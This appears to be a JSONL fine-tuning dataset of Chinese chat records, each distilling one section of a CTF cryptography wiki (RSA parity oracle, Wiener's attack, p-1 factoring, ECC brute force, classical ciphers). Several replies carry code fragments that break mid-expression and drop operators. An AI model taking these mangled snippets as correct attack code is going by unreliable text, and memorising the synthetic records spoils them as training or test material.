"split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-0706f00c8ae050725172", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/discrete-log/ecc.md` 中的章节「2013 SECCON CTF quals Cryptanalysis」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/discrete-log/ecc.md`\n标题：ECC\n章节：ECC > 2013 SECCON CTF quals Cryptanalysis\n路径分类：crypto / crypto/asymmetric/discrete-log\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“2013 SECCON CTF quals Cryptanalysis”展开。\n- 这里我们以2013年SECCON CTF quals 中的 Cryptanalysis 为例，题目如下 [图片: img;\n- 文件: ./figure/2013-seccon-ctf-crypt-desp.png] 这里，我们已知椭圆曲线方程以及对应的生成元 base，还知道相应的模数以及公钥以及加密后的结果。\n- 但是可以看出的我们的模数太小，我们暴力枚举获取结果。\n- 这里直接参考 github上的 sage 程序，暴力跑出 secret key。\n\n关键术语：\n- 密码学\n- crypto\n- asymmetric\n- discrete-log\n- ecc.md\n- code:python\n- code:shell\n\n代码/命令片段线索：\n- python: 21 行，首行 `a = 1234577`\n- shell: 4 行，首行 `[+] secret: 1584718`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 746, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "crypto", "heading": "2013 SECCON CTF quals Cryptanalysis", "heading_path": ["ECC", "2013 SECCON CTF quals Cryptanalysis"], "original_id": "docs-c0ef86ae5c569f9eb0c1", "original_line": 211, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/discrete-log/ecc.md", "source_root": "docs", "source_sha256": "62b16ba51279e7197c9f42e8ed4ed7911bae878fe5cf3186a6d08caf8185d0c3", "split": "train", "split_group_key": "dfc6d9776d7dd5eeba1979d7", "subcategory": "crypto/asymmetric/discrete-log", "terms": ["密码学", "crypto", "asymmetric", "discrete-log", "ecc.md", "code:python", "code:shell"], "title": "ECC"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/discrete-log/ecc.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-0775894099d4f155d0e4", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/rsa_complex.md` 中的章节「RSA parity oracle」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/rsa_complex.md`\n标题：RSA 复杂题目\n章节：RSA 复杂题目 > 2018 Tokyo Western Mixed Cipher > RSA parity oracle\n路径分类：crypto / crypto/asymmetric/rsa\n分块：1/1\n\n核心知识点：\n- 利用 leak 的的最后一个字节，我们可以进行选择密文攻击，使用 RSA parity oracle 回复 aes 的秘钥 ``python def guess_m(io,n,c): k=1 lb=0 ub=n while ub!\n- =lb: print lb,ub tmp = c gmpy2.powmod(2, ke, n) % n if ord(decrypt_io(io,tmp)[-1])%2==1: lb = (lb + ub) / 2 else: ub = (lb + ub) / 2 k+=1 print ub,len(long_to_bytes(ub)) return ub ``\n\n关键术语：\n- 密码学\n- 漏洞利用\n- crypto\n- asymmetric\n- rsa\n- rsa-complex.md\n- code:python\n\n代码/命令片段线索：\n- python: 14 行，首行 `def guess_m(io,n,c):`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 316, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "crypto", "heading": "RSA parity oracle", "heading_path": ["RSA 复杂题目", "2018 Tokyo Western Mixed Cipher", "RSA parity oracle"], "original_id": "docs-5e0cce516a10e396e267", "original_line": 237, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_complex.md", "source_root": "docs", "source_sha256": "d9008d752e1cf4491d9a9862bd11a546f5272f7474e5acb6216197f1d6d7347c", "split": "train", "split_group_key": "7e884f35d6fa2d59d645e301", "subcategory": "crypto/asymmetric/rsa", "terms": ["密码学", "漏洞利用", "crypto", "asymmetric", "rsa", "rsa-complex.md", "code:python"], "title": "RSA 复杂题目"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_complex.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-07b48c91be5fd4f94520", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/classical/summary.md` 中的章节「实验吧 围在栅栏里的爱」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/classical/summary.md`\n标题：总结\n章节：总结 > 实验吧 围在栅栏里的爱\n路径分类：crypto / crypto/classical/summary.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“实验吧 围在栅栏里的爱”展开。\n- > > -.- .. --.- .-.. .-- - ..-. -.-. --.- --. -. ... --- --- > > flag格式：[FLAG_REDACTED] 首先，根据密码样式判断是摩斯电码，解密后得到 KIQLWTFCQGNSOO，看着也不像 flag，题目中还有还有栅栏与 QWE到底等不等于ABC，两个都试了试之后，发现是先 QWE 然后栅栏可得到结果。\n- 题目描述 > 最近一直在好奇一个问题，QWE 到底等不等于 ABC？\n- 首先键盘 QWE 解密，试着解密得到 IILYOAVNEBSAHR。\n- 继而栅栏解密得到 ILOVESHIYANBAR。\n\n关键术语：\n- 密码学\n- crypto\n- classical\n- summary.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 294, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "crypto", "heading": "实验吧 围在栅栏里的爱", "heading_path": ["总结", "实验吧 围在栅栏里的爱"], "original_id": "docs-201f54b0a19106c27abb", "original_line": 387, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/classical/summary.md", "source_root": "docs", "source_sha256": "2ba3e6d53373332f5d4b059bfb576dd03c7d445a2456057fb1d5d9d84d31b435", "split": "train", "split_group_key": "f028ba36571051b9a0c0ce29", "subcategory": "crypto/classical/summary.md", "terms": ["密码学", "crypto", "classical", "summary.md"], "title": "总结"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/classical/summary.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-0d4b42e4b9fbe5dbc475", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/rsa_module_attack.md` 中的章节「p - 1 光滑」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/rsa_module_attack.md`\n标题：模数相关攻击\n章节：模数相关攻击 > p & q 不当分解 N > p - 1 光滑\n路径分类：crypto / crypto/asymmetric/rsa\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“p - 1 光滑”展开。\n- 因为我们只关心最后的gcd结果，同时N只包含两个素因子，则我们不需要计算$M$，考虑$n=2,3,\\dots$，令$M = n!\n- 在具体计算中，可以代入降幂进行计算 $$ a^{n!\n- }\\bmod{N}=\\begin{cases} (a\\bmod{N})^2\\mod{N}&n=2\\\\ (a^{(n-1)!\n- }\\bmod{N})^n\\mod{N}&n\\ge{3} \\end{cases}$$ Python代码实现 ``python from gmpy2 import a = 2 n = 2 while True: a = powmod(a, n, N) res = gcd(a-1, N) if res !\n- = N: q = N // res d = invert(e, (res-1)*(q-1)) m = powmod(c, d, N) print(m) break n += 1 ``\n\n关键术语：\n- 密码学\n- 漏洞利用\n- crypto\n- asymmetric\n- rsa\n- rsa-module-attack.md\n- code:python\n\n代码/命令片段线索：\n- python: 13 行，首行 `from gmpy2 import *`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 888, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "crypto", "heading": "p - 1 光滑", "heading_path": ["模数相关攻击", "p & q 不当分解 N", "p - 1 光滑"], "original_id": "docs-db68006928d4e675aa2b", "original_line": 267, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_module_attack.md", "source_root": "docs", "source_sha256": "5e7dd9efc7fea1fd04e70386bbcbf56b68a69be6a7860c56473f3dcdbad0f4b1", "split": "train", "split_group_key": "5dc802d60e71eaabf9776481", "subcategory": "crypto/asymmetric/rsa", "terms": ["密码学", "漏洞利用", "crypto", "asymmetric", "rsa", "rsa-module-attack.md", "code:python"], "title": "模数相关攻击"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_module_attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-0e7370f13ec6457cf2ce", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/blockcipher/arx-operations.md` 中的章节「解题思路」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/blockcipher/arx-operations.md`\n标题：ARX: Add-Rotate-Xor\n章节：ARX: Add-Rotate-Xor > 题目 > 2018 *ctf primitive > 解题思路\n路径分类：crypto / crypto/blockcipher/arx-operations.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“解题思路”展开。\n- 利用上述原子操作，我们可以构造出任意两个数字 a,b 的置换，结合 Xor 操作，我们可以减少所需的基本操作数目，使其满足题目给出的限制。\n- 对于模 256 下的运算，一种典型的基于 ARX 的换位操作可以表示为如下组合 `` RotateLeft_1(Add_255(RotateLeft_7(Add_2(x)))) ` 上述函数对应了一个将 254 和 255 进行交换，同时保持其它数字不变的置换运算。\n- =1: tmp=0 lo=1 while b&lo==0: lo<<=1 tmp+=1 if b==lo: ans.append((1,8-tmp)) break if tmp!\n- 直觉上来说，由于在第一步的模加 2 运算中，仅有输入为 254、255 时会发生进位，该组合函数得以区别对待这一情况。\n\n关键术语：\n- 密码学\n- 漏洞利用\n- crypto\n- blockcipher\n- arx-operations.md\n- code:python\n\n代码/命令片段线索：\n- plain: 1 行，首行 `RotateLeft_1(Add_255(RotateLeft_7(Add_2(x))))`\n- python: 76 行，首行 `from pwn import *`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 1862, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "crypto", "heading": "解题思路", "heading_path": ["ARX: Add-Rotate-Xor", "题目", "2018 *ctf primitive", "解题思路"], "original_id": "docs-7cff93656dceb6566c5d", "original_line": 317, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/arx-operations.md", "source_root": "docs", "source_sha256": "fe2888266508d45dec125e2b322feff0974b69fdc14f3c626c403f2738ca67cc", "split": "train", "split_group_key": "6ab59962ba938b27bfb4149a", "subcategory": "crypto/blockcipher/arx-operations.md", "terms": ["密码学", "漏洞利用", "crypto", "blockcipher", "arx-operations.md", "code:python"], "title": "ARX: Add-Rotate-Xor"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/arx-operations.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-0e8a793ba04dec825850", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/d_attacks/rsa_d_attack.md` 中的章节「2016 HCTF RSA1」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/d_attacks/rsa_d_attack.md`\n标题：私钥 d 相关攻击\n章节：私钥 d 相关攻击 > 综合例子 > 2016 HCTF RSA1\n路径分类：crypto / crypto/asymmetric/rsa\n分块：3/4\n\n核心知识点：\n- 本节主题围绕“2016 HCTF RSA1”展开。\n- 我们得到了 u，如下 `shell ➜ rsa-wiener-attack git:(master) ✗ python RSAwienerHacker.py Testing Wiener Attack Hacked!\n- ('hacked_d = ', mpz(404713159471231711408151571380906751680333129144247165378555186876078301457022630947986647887431519481527070603810696638453560506186951324208972060991323925955752760273325044674073649258563488270334557390141102174681693044992933206572452...\n- 90a4480376abd1ff21298d529b26a4e614ab24c776a10f5f5d8e8809467a3e81f04cf5d5b23eb4a3412886797cab4b3c5724c077354b2d11d19ae4e301cd2ca743e56456d2a785b650c7e1a727b1bd881ee85c8d109792393cc1a92a66b0bc23b164146548f4e184b10c80ec458b776df10405b65399e32d657bc83e1451 solv...\n\n关键术语：\n- 密码学\n- 漏洞利用\n- crypto\n- asymmetric\n- rsa\n- d-attacks\n\n代码/命令片段线索：\n- plain: 2 行，首行 `其中 solve 函数就是对应的 Wiener's Attack 的函数。`\n- plain: 1 行，首行 `接着利用 RsaConverter 以及 u，t，n 获取对应的 p 和 q。如下`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 3183, "chunk_count": 4, "chunk_index": 2, "ctf_score": 26, "ctf_task_type": "crypto", "heading": "2016 HCTF RSA1", "heading_path": ["私钥 d 相关攻击", "综合例子", "2016 HCTF RSA1"], "original_id": "docs-304aa3181adcc3d0d4a7", "original_line": 290, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/d_attacks/rsa_d_attack.md", "source_root": "docs", "source_sha256": "85e633de5d16e7597fac6a71304dd445659827d367ca09779c36046b10dde498", "split": "train", "split_group_key": "5bb61c30d1894ed4612b1638", "subcategory": "crypto/asymmetric/rsa", "terms": ["密码学", "漏洞利用", "crypto", "asymmetric", "rsa", "d-attacks"], "title": "私钥 d 相关攻击"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/d_attacks/rsa_d_attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-10306340897925f96170", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/rsa_coppersmith_attack.md` 中的章节「2019 Defcon Quals ASRybaB」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/rsa_coppersmith_attack.md`\n标题：Coppersmith 相关攻击\n章节：Coppersmith 相关攻击 > Boneh and Durfee attack > 2019 Defcon Quals ASRybaB\n路径分类：crypto / crypto/asymmetric/rsa\n分块：2/2\n\n核心知识点：\n- 本节主题围绕“2019 Defcon Quals ASRybaB”展开。\n- `` 基本可以猜出来这是在生成 n，e，d，其实和我们最初的预期也差不多。\n- (number) 431 LOAD_ATTR 11 (GCD) 434 LOAD_FAST 11 (e) 437 LOAD_FAST 6 (phi) 440 CALL_FUNCTION 2 443 LOAD_CONST 5 (1) 446 COMPARE_OP 3 (!\n- =) 449 POP_JUMP_IF_FALSE 458 ...\n- 仔细分析一下这部分代码，感觉像是两部分 ``python\n\n关键术语：\n- 密码学\n- AI安全\n- 漏洞利用\n- crypto\n- asymmetric\n- rsa\n- rsa-coppersmith-attack.md\n\n代码/命令片段线索：\n- plain: 1 行，首行 `基本可以猜出来这是在生成 n，e，d，其实和我们最初的预期也差不多。我们来直接反编译一下`\n- plain: 1 行，首行 `可以发现 STOP_CODE，有点猫腻，如果仔细看最初的反汇编的话，我们可以发现最前面的那部分代码是在混淆`\n- plain: 1 行，首行 `一直到`\n- plain: 1 行，首行 `前面的都没有什么作用，感觉是出题者故意修改了代码。仔细分析一下这部分代码，感觉像是两部分`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 1694, "chunk_count": 2, "chunk_index": 1, "ctf_score": 24, "ctf_task_type": "crypto", "heading": "2019 Defcon Quals ASRybaB", "heading_path": ["Coppersmith 相关攻击", "Boneh and Durfee attack", "2019 Defcon Quals ASRybaB"], "original_id": "docs-da97371cffc4cee9ebe3", "original_line": 258, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_coppersmith_attack.md", "source_root": "docs", "source_sha256": "db220315af2be2a8291b622dd2df0469bd60abd814130105e60db525c7d32fa0", "split": "train", "split_group_key": "7f7f14780a7ba93a9b28a936", "subcategory": "crypto/asymmetric/rsa", "terms": ["密码学", "AI安全", "漏洞利用", "crypto", "asymmetric", "rsa", "rsa-coppersmith-attack.md"], "title": "Coppersmith 相关攻击"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_coppersmith_attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-112aa25cf5dccabb39c3", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/hash/attack.md` 中的章节「Hash Attack」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/hash/attack.md`\n标题：Hash Attack\n章节：Hash Attack\n路径分类：crypto / crypto/hash/attack.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Hash Attack”展开。\n- 生日攻击法(Birthday Attack)：没有利用Hash函数的结构和任何代数弱性质，只依赖于消息摘要的长度，即Hash值的长度。\n- 中点交会攻击法(Meet-In-The-Middle)：是生日攻击的一种变形，不比较Hash值，而是比较中间变量。\n- 常见的Hash函数的攻击方法主要有 - 暴力攻击：不依赖于任何算法细节，仅与Hash值长度有关；\n- 这种攻击主要适用于攻击具有分组链结构的Hash方案。\n\n关键术语：\n- 密码学\n- 漏洞利用\n- crypto\n- hash\n- attack.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 228, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "crypto", "heading": "Hash Attack", "heading_path": ["Hash Attack"], "original_id": "docs-bf43876682e5203f8cf2", "original_line": 391, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/hash/attack.md", "source_root": "docs", "source_sha256": "80fde767e17002c534f0877819eecdfe1b1bda14fae5184477dcedfeaaf95889", "split": "train", "split_group_key": "f935af0ce89c6069ab5f6ca5", "subcategory": "crypto/hash/attack.md", "terms": ["密码学", "漏洞利用", "crypto", "hash", "attack.md"], "title": "Hash Attack"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/hash/attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-11be68e6a56e26b0ab04", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/blockcipher/mode/padding.md` 中的章节「Pad with 0x80 followed by zero bytes (OneAndZeroes Padding)」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/blockcipher/mode/padding.md`\n标题：填充方式\n章节：填充方式 > Pad with 0x80 followed by zero bytes (OneAndZeroes Padding)\n路径分类：crypto / crypto/blockcipher/mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Pad with 0x80 followed by zero bytes (OneAndZeroes Padding)”展开。\n- 举例子如下 `` DES INPUT BLOCK = f o r _ _ _ _ _ (IN HEX) 66 6F 72 80 00 00 00 00 KEY = 01 23 45 67 89 AB CD EF DES OUTPUT BLOCK = BE 62 5D 9F F3 C6 C8 40 `` 这里其实就是和 md5 和 sha1 的 padding 差不多。\n\n关键术语：\n- 密码学\n- crypto\n- blockcipher\n- mode\n- padding.md\n\n代码/命令片段线索：\n- plain: 4 行，首行 `DES INPUT BLOCK = f o r _ _ _ _ _`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 189, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "Pad with 0x80 followed by zero bytes (OneAndZeroes Padding)", "heading_path": ["填充方式", "Pad with 0x80 followed by zero bytes (OneAndZeroes Padding)"], "original_id": "docs-54c94657062405b1b6c8", "original_line": 352, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/mode/padding.md", "source_root": "docs", "source_sha256": "5737a702cc4b65ba4cc98ab56a46331ffff5a037b72d573d04fce1782b180597", "split": "train", "split_group_key": "75d54f1e7b6af90f5e0ac67d", "subcategory": "crypto/blockcipher/mode", "terms": ["密码学", "crypto", "blockcipher", "mode", "padding.md"], "title": "填充方式"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/mode/padding.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-11c6f284b2912bf1e2e4", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/classical/monoalphabetic.md` 中的章节「原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/classical/monoalphabetic.md`\n标题：单表代换加密\n章节：单表代换加密 > Atbash Cipher > 原理\n路径分类：crypto / crypto/classical/monoalphabetic.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“原理”展开。\n- 埃特巴什码（Atbash Cipher）其实可以视为下面要介绍的简单替换密码的特例，它使用字母表中的最后一个字母代表第一个字母，倒数第二个字母代表第二个字母。\n- 在罗马字母表中，它是这样出现的： `` 明文：A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 密文：Z Y X W V U T S R Q P O N M L K J I H G F E D C B A ` 下面给出一个例子： ` 明文：the quick brown fox jumps over the lazy dog 密文：gsv jfrxp yildm ulc qfnkh levi gsv ozab wlt ``\n\n关键术语：\n- 密码学\n- crypto\n- classical\n- monoalphabetic.md\n\n代码/命令片段线索：\n- plain: 2 行，首行 `明文：A B C D E F G H I J K L M N O P Q R S T U V W X Y Z`\n- plain: 2 行，首行 `明文：the quick brown fox jumps over the lazy dog`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 328, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "原理", "heading_path": ["单表代换加密", "Atbash Cipher", "原理"], "original_id": "docs-7e7af28eb92bd6b3357f", "original_line": 362, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/classical/monoalphabetic.md", "source_root": "docs", "source_sha256": "0f067dab4b75b54ee479faf8ca79787754256a2fc3f9d437852c8af0c151e41e", "split": "train", "split_group_key": "2988f8da3dfd6df421b2568b", "subcategory": "crypto/classical/monoalphabetic.md", "terms": ["密码学", "crypto", "classical", "monoalphabetic.md"], "title": "单表代换加密"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/classical/monoalphabetic.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-134b7ae9d00def2a906c", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/signature/elgamal.md` 中的章节「原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/signature/elgamal.md`\n标题：ElGamal\n章节：ElGamal > 常见攻击 > 通用伪造签名 > 原理\n路径分类：crypto / crypto/signature/elgamal.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“原理”展开。\n- 在攻击者知道了某个人Alice的公钥之后，他可以伪造Alice的签名信息。\n- 而且，一旦消息进行了哈希操作，这一攻击就不再可行。\n- 具体原理如下: 这里我们假设，Alice的公钥为{p,g,y}。\n\n关键术语：\n- 密码学\n- 漏洞利用\n- crypto\n- signature\n- elgamal.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 531, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "crypto", "heading": "原理", "heading_path": ["ElGamal", "常见攻击", "通用伪造签名", "原理"], "original_id": "docs-9ad07f4a203e9bc339dc", "original_line": 21, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/signature/elgamal.md", "source_root": "docs", "source_sha256": "27a74c0adb780919721622473d1a1f478798fa14709d1afc907d81a8cd4b3b10", "split": "train", "split_group_key": "ea6397bd7327f4a778e80069", "subcategory": "crypto/signature/elgamal.md", "terms": ["密码学", "漏洞利用", "crypto", "signature", "elgamal.md"], "title": "ElGamal"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/signature/elgamal.md", "split": "train", "type": "ctf_lora_sft"}
